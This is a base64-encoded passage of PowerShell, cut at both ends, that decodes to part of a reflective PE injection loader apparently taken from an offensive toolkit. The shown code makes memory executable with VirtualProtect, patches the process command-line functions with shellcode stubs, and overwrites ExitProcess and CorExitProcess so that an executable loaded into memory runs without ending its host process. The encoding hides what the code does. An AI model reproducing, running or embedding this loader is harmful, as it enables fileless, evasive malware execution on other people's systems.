YWxQcm90ZWN0IiAtUEVJbmZvICRQRUluZm8gLVN0YXJ0QWRkcmVzcyAkU2VjdGlvblB0ciAtU2l6
ZSAkU2VjdGlvblNpemUgfCBPdXQtTnVsbAoJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5W
aXJ0dWFsUHJvdGVjdC5JbnZva2UoJFNlY3Rpb25QdHIsICRTZWN0aW9uU2l6ZSwgJFByb3RlY3RG
bGFnLCBbUmVmXSRPbGRQcm90ZWN0RmxhZykKCQkJaWYgKCRTdWNjZXNzIC1lcSAkZmFsc2UpCgkJ
CXsKCQkJCVRocm93ICJVbmFibGUgdG8gY2hhbmdlIG1lbW9yeSBwcm90ZWN0aW9uIgoJCQl9CgkJ
fQoJfQoJCgoKCUZ1bmN0aW9uIFVwZGF0ZS1FeGVGdW5jdGlvbnMKCXsKCQlQYXJhbSgKCQlbUGFy
YW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0
XQoJCSRQRUluZm8sCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICR0
cnVlKV0KCQlbU3lzdGVtLk9iamVjdF0KCQkkV2luMzJGdW5jdGlvbnMsCgkJCgkJW1BhcmFtZXRl
cihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3lzdGVtLk9iamVjdF0KCQkk
V2luMzJDb25zdGFudHMsCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDMsIE1hbmRhdG9yeSA9
ICR0cnVlKV0KCQlbU3RyaW5nXQoJCSRFeGVBcmd1bWVudHMsCgkJCgkJW1BhcmFtZXRlcihQb3Np
dGlvbiA9IDQsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbSW50UHRyXQoJCSRFeGVEb25lQnl0ZVB0
cgoJCSkKCQkKCgkJJFJldHVybkFycmF5ID0gQCgpIAoJCQoJCSRQdHJTaXplID0gW1N5c3RlbS5S
dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKQoJ
CVtVSW50MzJdJE9sZFByb3RlY3RGbGFnID0gMAoJCQoJCVtJbnRQdHJdJEtlcm5lbDMySGFuZGxl
ID0gJFdpbjMyRnVuY3Rpb25zLkdldE1vZHVsZUhhbmRsZS5JbnZva2UoIktlcm5lbDMyLmRsbCIp
CgkJaWYgKCRLZXJuZWwzMkhhbmRsZSAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQl0aHJvdyAi
S2VybmVsMzIgaGFuZGxlIG51bGwiCgkJfQoJCQoJCVtJbnRQdHJdJEtlcm5lbEJhc2VIYW5kbGUg
PSAkV2luMzJGdW5jdGlvbnMuR2V0TW9kdWxlSGFuZGxlLkludm9rZSgiS2VybmVsQmFzZS5kbGwi
KQoJCWlmICgkS2VybmVsQmFzZUhhbmRsZSAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQl0aHJv
dyAiS2VybmVsQmFzZSBoYW5kbGUgbnVsbCIKCQl9CgoKCgoJCSRDbWRMaW5lV0FyZ3NQdHIgPSBb
U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJpbmdUb0hHbG9iYWxV
bmkoJEV4ZUFyZ3VtZW50cykKCQkkQ21kTGluZUFBcmdzUHRyID0gW1N5c3RlbS5SdW50aW1lLklu
dGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RyaW5nVG9IR2xvYmFsQW5zaSgkRXhlQXJndW1lbnRz
KQoJCgkJW0ludFB0cl0kR2V0Q29tbWFuZExpbmVBQWRkciA9ICRXaW4zMkZ1bmN0aW9ucy5HZXRQ
cm9jQWRkcmVzcy5JbnZva2UoJEtlcm5lbEJhc2VIYW5kbGUsICJHZXRDb21tYW5kTGluZUEiKQoJ
CVtJbnRQdHJdJEdldENvbW1hbmRMaW5lV0FkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0Fk
ZHJlc3MuSW52b2tlKCRLZXJuZWxCYXNlSGFuZGxlLCAiR2V0Q29tbWFuZExpbmVXIikKCgkJaWYg
KCRHZXRDb21tYW5kTGluZUFBZGRyIC1lcSBbSW50UHRyXTo6WmVybyAtb3IgJEdldENvbW1hbmRM
aW5lV0FkZHIgLWVxIFtJbnRQdHJdOjpaZXJvKQoJCXsKCQkJdGhyb3cgIkdldENvbW1hbmRMaW5l
IHB0ciBudWxsLiBHZXRDb21tYW5kTGluZUE6ICRHZXRDb21tYW5kTGluZUFBZGRyLiBHZXRDb21t
YW5kTGluZVc6ICRHZXRDb21tYW5kTGluZVdBZGRyIgoJCX0KCgoJCVtCeXRlW11dJFNoZWxsY29k
ZTEgPSBAKCkKCQlpZiAoJFB0clNpemUgLWVxIDgpCgkJewoJCQkkU2hlbGxjb2RlMSArPSAweDQ4
CSM2NGJpdCBzaGVsbGNvZGUgaGFzIHRoZSAweDQ4IGJlZm9yZSB0aGUgMHhiOAoJCX0KCQkkU2hl
bGxjb2RlMSArPSAweGI4CgkJCgkJW0J5dGVbXV0kU2hlbGxjb2RlMiA9IEAoMHhjMykKCQkkVG90
YWxTaXplID0gJFNoZWxsY29kZTEuTGVuZ3RoICsgJFB0clNpemUgKyAkU2hlbGxjb2RlMi5MZW5n
dGgKCQkKCQkKCgkJJEdldENvbW1hbmRMaW5lQU9yaWdCeXRlc1B0ciA9IFtTeXN0ZW0uUnVudGlt
ZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkVG90YWxTaXplKQoJCSRH
ZXRDb21tYW5kTGluZVdPcmlnQnl0ZXNQdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZp
Y2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoJFRvdGFsU2l6ZSkKCQkkV2luMzJGdW5jdGlvbnMu
bWVtY3B5Lkludm9rZSgkR2V0Q29tbWFuZExpbmVBT3JpZ0J5dGVzUHRyLCAkR2V0Q29tbWFuZExp
bmVBQWRkciwgW1VJbnQ2NF0kVG90YWxTaXplKSB8IE91dC1OdWxsCgkJJFdpbjMyRnVuY3Rpb25z
Lm1lbWNweS5JbnZva2UoJEdldENvbW1hbmRMaW5lV09yaWdCeXRlc1B0ciwgJEdldENvbW1hbmRM
aW5lV0FkZHIsIFtVSW50NjRdJFRvdGFsU2l6ZSkgfCBPdXQtTnVsbAoJCSRSZXR1cm5BcnJheSAr
PSAsKCRHZXRDb21tYW5kTGluZUFBZGRyLCAkR2V0Q29tbWFuZExpbmVBT3JpZ0J5dGVzUHRyLCAk
VG90YWxTaXplKQoJCSRSZXR1cm5BcnJheSArPSAsKCRHZXRDb21tYW5kTGluZVdBZGRyLCAkR2V0
Q29tbWFuZExpbmVXT3JpZ0J5dGVzUHRyLCAkVG90YWxTaXplKQoKCgkJW1VJbnQzMl0kT2xkUHJv
dGVjdEZsYWcgPSAwCgkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbFByb3RlY3Qu
SW52b2tlKCRHZXRDb21tYW5kTGluZUFBZGRyLCBbVUludDMyXSRUb3RhbFNpemUsIFtVSW50MzJd
KCRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRFKSwgW1JlZl0kT2xkUHJvdGVj
dEZsYWcpCgkJaWYgKCRTdWNjZXNzID0gJGZhbHNlKQoJCXsKCQkJdGhyb3cgIkNhbGwgdG8gVmly
dHVhbFByb3RlY3QgZmFpbGVkIgoJCX0KCQkKCQkkR2V0Q29tbWFuZExpbmVBQWRkclRlbXAgPSAk
R2V0Q29tbWFuZExpbmVBQWRkcgoJCVdyaXRlLUJ5dGVzVG9NZW1vcnkgLUJ5dGVzICRTaGVsbGNv
ZGUxIC1NZW1vcnlBZGRyZXNzICRHZXRDb21tYW5kTGluZUFBZGRyVGVtcAoJCSRHZXRDb21tYW5k
TGluZUFBZGRyVGVtcCA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRHZXRDb21tYW5kTGluZUFB
ZGRyVGVtcCAoJFNoZWxsY29kZTEuTGVuZ3RoKQoJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2Vy
dmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRvUHRyKCRDbWRMaW5lQUFyZ3NQdHIsICRHZXRDb21t
YW5kTGluZUFBZGRyVGVtcCwgJGZhbHNlKQoJCSRHZXRDb21tYW5kTGluZUFBZGRyVGVtcCA9IEFk
ZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRHZXRDb21tYW5kTGluZUFBZGRyVGVtcCAkUHRyU2l6ZQoJ
CVdyaXRlLUJ5dGVzVG9NZW1vcnkgLUJ5dGVzICRTaGVsbGNvZGUyIC1NZW1vcnlBZGRyZXNzICRH
ZXRDb21tYW5kTGluZUFBZGRyVGVtcAoJCQoJCSRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVj
dC5JbnZva2UoJEdldENvbW1hbmRMaW5lQUFkZHIsIFtVSW50MzJdJFRvdGFsU2l6ZSwgW1VJbnQz
Ml0kT2xkUHJvdGVjdEZsYWcsIFtSZWZdJE9sZFByb3RlY3RGbGFnKSB8IE91dC1OdWxsCgkJCgkJ
CgoJCVtVSW50MzJdJE9sZFByb3RlY3RGbGFnID0gMAoJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rp
b25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkR2V0Q29tbWFuZExpbmVXQWRkciwgW1VJbnQzMl0k
VG90YWxTaXplLCBbVUludDMyXSgkV2luMzJDb25zdGFudHMuUEFHRV9FWEVDVVRFX1JFQURXUklU
RSksIFtSZWZdJE9sZFByb3RlY3RGbGFnKQoJCWlmICgkU3VjY2VzcyA9ICRmYWxzZSkKCQl7CgkJ
CXRocm93ICJDYWxsIHRvIFZpcnR1YWxQcm90ZWN0IGZhaWxlZCIKCQl9CgkJCgkJJEdldENvbW1h
bmRMaW5lV0FkZHJUZW1wID0gJEdldENvbW1hbmRMaW5lV0FkZHIKCQlXcml0ZS1CeXRlc1RvTWVt
b3J5IC1CeXRlcyAkU2hlbGxjb2RlMSAtTWVtb3J5QWRkcmVzcyAkR2V0Q29tbWFuZExpbmVXQWRk
clRlbXAKCQkkR2V0Q29tbWFuZExpbmVXQWRkclRlbXAgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25l
ZCAkR2V0Q29tbWFuZExpbmVXQWRkclRlbXAgKCRTaGVsbGNvZGUxLkxlbmd0aCkKCQlbU3lzdGVt
LlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkQ21kTGlu
ZVdBcmdzUHRyLCAkR2V0Q29tbWFuZExpbmVXQWRkclRlbXAsICRmYWxzZSkKCQkkR2V0Q29tbWFu
ZExpbmVXQWRkclRlbXAgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkR2V0Q29tbWFuZExpbmVX
QWRkclRlbXAgJFB0clNpemUKCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkU2hlbGxjb2Rl
MiAtTWVtb3J5QWRkcmVzcyAkR2V0Q29tbWFuZExpbmVXQWRkclRlbXAKCQkKCQkkV2luMzJGdW5j
dGlvbnMuVmlydHVhbFByb3RlY3QuSW52b2tlKCRHZXRDb21tYW5kTGluZVdBZGRyLCBbVUludDMy
XSRUb3RhbFNpemUsIFtVSW50MzJdJE9sZFByb3RlY3RGbGFnLCBbUmVmXSRPbGRQcm90ZWN0Rmxh
ZykgfCBPdXQtTnVsbAoKCQkKCQkKCgoKCgoJCSREbGxMaXN0ID0gQCgibXN2Y3I3MGQuZGxsIiwg
Im1zdmNyNzFkLmRsbCIsICJtc3ZjcjgwZC5kbGwiLCAibXN2Y3I5MGQuZGxsIiwgIm1zdmNyMTAw
ZC5kbGwiLCAibXN2Y3IxMTBkLmRsbCIsICJtc3ZjcjcwLmRsbCIgYAoJCQksICJtc3ZjcjcxLmRs
bCIsICJtc3ZjcjgwLmRsbCIsICJtc3ZjcjkwLmRsbCIsICJtc3ZjcjEwMC5kbGwiLCAibXN2Y3Ix
MTAuZGxsIikKCQkKCQlmb3JlYWNoICgkRGxsIGluICREbGxMaXN0KQoJCXsKCQkJW0ludFB0cl0k
RGxsSGFuZGxlID0gJFdpbjMyRnVuY3Rpb25zLkdldE1vZHVsZUhhbmRsZS5JbnZva2UoJERsbCkK
CQkJaWYgKCREbGxIYW5kbGUgLW5lIFtJbnRQdHJdOjpaZXJvKQoJCQl7CgkJCQlbSW50UHRyXSRX
Q21kTG5BZGRyID0gJFdpbjMyRnVuY3Rpb25zLkdldFByb2NBZGRyZXNzLkludm9rZSgkRGxsSGFu
ZGxlLCAiX3djbWRsbiIpCgkJCQlbSW50UHRyXSRBQ21kTG5BZGRyID0gJFdpbjMyRnVuY3Rpb25z
LkdldFByb2NBZGRyZXNzLkludm9rZSgkRGxsSGFuZGxlLCAiX2FjbWRsbiIpCgkJCQlpZiAoJFdD
bWRMbkFkZHIgLWVxIFtJbnRQdHJdOjpaZXJvIC1vciAkQUNtZExuQWRkciAtZXEgW0ludFB0cl06
Olplcm8pCgkJCQl7CgkJCQkJIkVycm9yLCBjb3VsZG4ndCBmaW5kIF93Y21kbG4gb3IgX2FjbWRs
biIKCQkJCX0KCQkJCQoJCQkJJE5ld0FDbWRMblB0ciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w
U2VydmljZXMuTWFyc2hhbF06OlN0cmluZ1RvSEdsb2JhbEFuc2koJEV4ZUFyZ3VtZW50cykKCQkJ
CSROZXdXQ21kTG5QdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxd
OjpTdHJpbmdUb0hHbG9iYWxVbmkoJEV4ZUFyZ3VtZW50cykKCQkJCQoKCQkJCSRPcmlnQUNtZExu
UHRyID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1
Y3R1cmUoJEFDbWRMbkFkZHIsIFtUeXBlXVtJbnRQdHJdKQoJCQkJJE9yaWdXQ21kTG5QdHIgPSBb
U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgk
V0NtZExuQWRkciwgW1R5cGVdW0ludFB0cl0pCgkJCQkkT3JpZ0FDbWRMblB0clN0b3JhZ2UgPSBb
U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoJFB0
clNpemUpCgkJCQkkT3JpZ1dDbWRMblB0clN0b3JhZ2UgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJv
cFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoJFB0clNpemUpCgkJCQlbU3lzdGVtLlJ1
bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkT3JpZ0FDbWRM
blB0ciwgJE9yaWdBQ21kTG5QdHJTdG9yYWdlLCAkZmFsc2UpCgkJCQlbU3lzdGVtLlJ1bnRpbWUu
SW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkT3JpZ1dDbWRMblB0ciwg
JE9yaWdXQ21kTG5QdHJTdG9yYWdlLCAkZmFsc2UpCgkJCQkkUmV0dXJuQXJyYXkgKz0gLCgkQUNt
ZExuQWRkciwgJE9yaWdBQ21kTG5QdHJTdG9yYWdlLCAkUHRyU2l6ZSkKCQkJCSRSZXR1cm5BcnJh
eSArPSAsKCRXQ21kTG5BZGRyLCAkT3JpZ1dDbWRMblB0clN0b3JhZ2UsICRQdHJTaXplKQoJCQkJ
CgkJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVjdC5JbnZva2UoJEFD
bWRMbkFkZHIsIFtVSW50MzJdJFB0clNpemUsIFtVSW50MzJdKCRXaW4zMkNvbnN0YW50cy5QQUdF
X0VYRUNVVEVfUkVBRFdSSVRFKSwgW1JlZl0kT2xkUHJvdGVjdEZsYWcpCgkJCQlpZiAoJFN1Y2Nl
c3MgPSAkZmFsc2UpCgkJCQl7CgkJCQkJdGhyb3cgIkNhbGwgdG8gVmlydHVhbFByb3RlY3QgZmFp
bGVkIgoJCQkJfQoJCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6
U3RydWN0dXJlVG9QdHIoJE5ld0FDbWRMblB0ciwgJEFDbWRMbkFkZHIsICRmYWxzZSkKCQkJCSRX
aW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVjdC5JbnZva2UoJEFDbWRMbkFkZHIsIFtVSW50MzJd
JFB0clNpemUsIFtVSW50MzJdKCRPbGRQcm90ZWN0RmxhZyksIFtSZWZdJE9sZFByb3RlY3RGbGFn
KSB8IE91dC1OdWxsCgkJCQkKCQkJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQ
cm90ZWN0Lkludm9rZSgkV0NtZExuQWRkciwgW1VJbnQzMl0kUHRyU2l6ZSwgW1VJbnQzMl0oJFdp
bjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURV9SRUFEV1JJVEUpLCBbUmVmXSRPbGRQcm90ZWN0Rmxh
ZykKCQkJCWlmICgkU3VjY2VzcyA9ICRmYWxzZSkKCQkJCXsKCQkJCQl0aHJvdyAiQ2FsbCB0byBW
aXJ0dWFsUHJvdGVjdCBmYWlsZWQiCgkJCQl9CgkJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNl
cnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkTmV3V0NtZExuUHRyLCAkV0NtZExuQWRk
ciwgJGZhbHNlKQoJCQkJJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkV0Nt
ZExuQWRkciwgW1VJbnQzMl0kUHRyU2l6ZSwgW1VJbnQzMl0oJE9sZFByb3RlY3RGbGFnKSwgW1Jl
Zl0kT2xkUHJvdGVjdEZsYWcpIHwgT3V0LU51bGwKCQkJfQoJCX0KCgkJCgkJCgoKCgkJJFJldHVy
bkFycmF5ID0gQCgpCgkJJEV4aXRGdW5jdGlvbnMgPSBAKCkgI0FycmF5IG9mIGZ1bmN0aW9ucyB0
byBvdmVyd3JpdGUgc28gdGhlIHRocmVhZCBkb2Vzbid0IGV4aXQgdGhlIHByb2Nlc3MKCQkKCgkJ
W0ludFB0cl0kTXNjb3JlZUhhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5HZXRNb2R1bGVIYW5kbGUu
SW52b2tlKCJtc2NvcmVlLmRsbCIpCgkJaWYgKCRNc2NvcmVlSGFuZGxlIC1lcSBbSW50UHRyXTo6
WmVybykKCQl7CgkJCXRocm93ICJtc2NvcmVlIGhhbmRsZSBudWxsIgoJCX0KCQlbSW50UHRyXSRD
b3JFeGl0UHJvY2Vzc0FkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tl
KCRNc2NvcmVlSGFuZGxlLCAiQ29yRXhpdFByb2Nlc3MiKQoJCWlmICgkQ29yRXhpdFByb2Nlc3NB
ZGRyIC1lcSBbSW50UHRyXTo6WmVybykKCQl7CgkJCVRocm93ICJDb3JFeGl0UHJvY2VzcyBhZGRy
ZXNzIG5vdCBmb3VuZCIKCQl9CgkJJEV4aXRGdW5jdGlvbnMgKz0gJENvckV4aXRQcm9jZXNzQWRk
cgoJCQoKCQlbSW50UHRyXSRFeGl0UHJvY2Vzc0FkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJv
Y0FkZHJlc3MuSW52b2tlKCRLZXJuZWwzMkhhbmRsZSwgIkV4aXRQcm9jZXNzIikKCQlpZiAoJEV4
aXRQcm9jZXNzQWRkciAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQlUaHJvdyAiRXhpdFByb2Nl
c3MgYWRkcmVzcyBub3QgZm91bmQiCgkJfQoJCSRFeGl0RnVuY3Rpb25zICs9ICRFeGl0UHJvY2Vz
c0FkZHIKCQkKCQlbVUludDMyXSRPbGRQcm90ZWN0RmxhZyA9IDAKCQlmb3JlYWNoICgkUHJvY0V4
aXRGdW5jdGlvbkFkZHIgaW4gJEV4aXRGdW5jdGlvbnMpCgkJewoJCQkkUHJvY0V4aXRGdW5jdGlv
bkFkZHJUbXAgPSAkUHJvY0V4aXRGdW5jdGlvbkFkZHIKCgoJCQlbQnl0ZVtdXSRTaGVsbGNvZGUx
ID0gQCgweGJiKQoJCQlbQnl0ZVtdXSRTaGVsbGNvZGUyID0gQCgweGM2LCAweDAzLCAweDAxLCAw
eDgzLCAweGVjLCAweDIwLCAweDgzLCAweGU0LCAweGMwLCAweGJiKQoKCQkJaWYgKCRQdHJTaXpl
IC1lcSA4KQoJCQl7CgkJCQlbQnl0ZVtdXSRTaGVsbGNvZGUxID0gQCgweDQ4LCAweGJiKQoJCQkJ
W0J5dGVbXV0kU2hlbGxjb2RlMiA9IEAoMHhjNiwgMHgwMywgMHgwMSwgMHg0OCwgMHg4MywgMHhl
YywgMHgyMCwgMHg2NiwgMHg4MywgMHhlNCwgMHhjMCwgMHg0OCwgMHhiYikKCQkJfQoJCQlbQnl0
ZVtdXSRTaGVsbGNvZGUzID0gQCgweGZmLCAweGQzKQoJCQkkVG90YWxTaXplID0gJFNoZWxsY29k
ZTEuTGVuZ3RoICsgJFB0clNpemUgKyAkU2hlbGxjb2RlMi5MZW5ndGggKyAkUHRyU2l6ZSArICRT
aGVsbGNvZGUzLkxlbmd0aAoJCQkKCQkJW0ludFB0cl0kRXhpdFRocmVhZEFkZHIgPSAkV2luMzJG
dW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCRLZXJuZWwzMkhhbmRsZSwgIkV4aXRUaHJl
YWQiKQoJCQlpZiAoJEV4aXRUaHJlYWRBZGRyIC1lcSBbSW50UHRyXTo6WmVybykKCQkJewoJCQkJ
VGhyb3cgIkV4aXRUaHJlYWQgYWRkcmVzcyBub3QgZm91bmQiCgkJCX0KCgkJCSRTdWNjZXNzID0g
JFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkUHJvY0V4aXRGdW5jdGlvbkFk
ZHIsIFtVSW50MzJdJFRvdGFsU2l6ZSwgW1VJbnQzMl0kV2luMzJDb25zdGFudHMuUEFHRV9FWEVD
VVRFX1JFQURXUklURSwgW1JlZl0kT2xkUHJvdGVjdEZsYWcpCgkJCWlmICgkU3VjY2VzcyAtZXEg
JGZhbHNlKQoJCQl7CgkJCQlUaHJvdyAiQ2FsbCB0byBWaXJ0dWFsUHJvdGVjdCBmYWlsZWQiCgkJ
CX0KCQkJCgoJCQkkRXhpdFByb2Nlc3NPcmlnQnl0ZXNQdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50
ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoJFRvdGFsU2l6ZSkKCQkJJFdpbjMy
RnVuY3Rpb25zLm1lbWNweS5JbnZva2UoJEV4aXRQcm9jZXNzT3JpZ0J5dGVzUHRyLCAkUHJvY0V4
aXRGdW5jdGlvbkFkZHIsIFtVSW50NjRdJFRvdGFsU2l6ZSkgfCBPdXQtTnVsbAoJCQkkUmV0dXJu
QXJyYXkgKz0gLCgkUHJvY0V4aXRGdW5jdGlvbkFkZHIsICRFeGl0UHJvY2Vzc09yaWdCeXRlc1B0
ciwgJFRvdGFsU2l6ZSkKCQkJCgoKCQkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJFNoZWxs
Y29kZTEgLU1lbW9yeUFkZHJlc3MgJFByb2NFeGl0RnVuY3Rpb25BZGRyVG1wCgkJCSRQcm9jRXhp
dEZ1bmN0aW9uQWRkclRtcCA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRQcm9jRXhpdEZ1bmN0
aW9uQWRkclRtcCAoJFNoZWxsY29kZTEuTGVuZ3RoKQoJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJv
cFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkRXhlRG9uZUJ5dGVQdHIsICRQcm9j
RXhpdEZ1bmN0aW9uQWRkclRtcCwgJGZhbHNlKQoJCQkkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAg
PSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAgJFB0clNp
emUKCQkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJFNoZWxsY29kZTIgLU1lbW9yeUFkZHJl
c3MgJFByb2NFeGl0RnVuY3Rpb25BZGRyVG1wCgkJCSRQcm9jRXhpdEZ1bmN0aW9uQWRkclRtcCA9
IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRQcm9jRXhpdEZ1bmN0aW9uQWRkclRtcCAoJFNoZWxs
Y29kZTIuTGVuZ3RoKQoJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxd
OjpTdHJ1Y3R1cmVUb1B0cigkRXhpdFRocmVhZEFkZHIsICRQcm9jRXhpdEZ1bmN0aW9uQWRkclRt
cCwgJGZhbHNlKQoJCQkkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAgPSBBZGQtU2lnbmVkSW50QXNV
bnNpZ25lZCAkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAgJFB0clNpemUKCQkJV3JpdGUtQnl0ZXNU
b01lbW9yeSAtQnl0ZXMgJFNoZWxsY29kZTMgLU1lbW9yeUFkZHJlc3MgJFByb2NFeGl0RnVuY3Rp
b25BZGRyVG1wCgoJCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbFByb3RlY3QuSW52b2tlKCRQcm9j
RXhpdEZ1bmN0aW9uQWRkciwgW1VJbnQzMl0kVG90YWxTaXplLCBbVUludDMyXSRPbGRQcm90ZWN0
RmxhZywgW1JlZl0kT2xkUHJvdGVjdEZsYWcpIHwgT3V0LU51bGwKCQl9CgoKCQlXcml0ZS1PdXRw
dXQgJFJldHVybkFycmF5Cgl9CgkKCQoKCglGdW5jdGlvbiBDb3B5LUFycmF5T2ZNZW1BZGRyZXNz
ZXMKCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRy
dWUpXQoJCVtBcnJheVtdXQoJCSRDb3B5SW5mbywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0g
MSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4zMkZ1bmN0aW9u
cywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMiwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtT
eXN0ZW0uT2JqZWN0XQoJCSRXaW4zMkNvbnN0YW50cwoJCSkKCgkJW1VJbnQzMl0kT2xkUHJvdGVj
dEZsYWcgPSAwCgkJZm9yZWFjaCAoJEluZm8gaW4gJENvcHlJbmZvKQoJCXsKCQkJJFN1Y2Nlc3Mg
PSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbFByb3RlY3QuSW52b2tlKCRJbmZvWzBdLCBbVUludDMy
XSRJbmZvWzJdLCBbVUludDMyXSRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRF
LCBbUmVmXSRPbGRQcm90ZWN0RmxhZykKCQkJaWYgKCRTdWNjZXNzIC1lcSAkZmFsc2UpCgkJCXsK
CQkJCVRocm93ICJDYWxsIHRvIFZpcnR1YWxQcm90ZWN0IGZhaWxlZCIKCQkJfQoJCQkKCQkJJFdp
bjMyRnVuY3Rpb25zLm1lbWNweS5JbnZva2UoJEluZm9bMF0sICRJbmZvWzFdLCBbVUludDY0XSRJ
bmZvWzJdKSB8IE91dC1OdWxsCgkJCQoJCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbFByb3RlY3Qu
SW52b2tlKCRJbmZvWzBdLCBbVUludDMyXSRJbmZvWzJdLCBbVUludDMyXSRPbGRQcm90ZWN0Rmxh
ZywgW1JlZl0kT2xkUHJvdGVjdEZsYWcpIHwgT3V0LU51bGwKCQl9Cgl9CgoKCgoKCUZ1bmN0aW9u
IEdldC1NZW1vcnlQcm9jQWRkcmVzcwoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24g
PSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW0ludFB0cl0KCQkkUEVIYW5kbGUsCgkJCgkJW1Bh
cmFtZXRlcihQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3RyaW5nXQoJCSRG
dW5jdGlvbk5hbWUKCQkpCgkJCgkJJFdpbjMyVHlwZXMgPSBHZXQtV2luMzJUeXBlcwoJCSRXaW4z
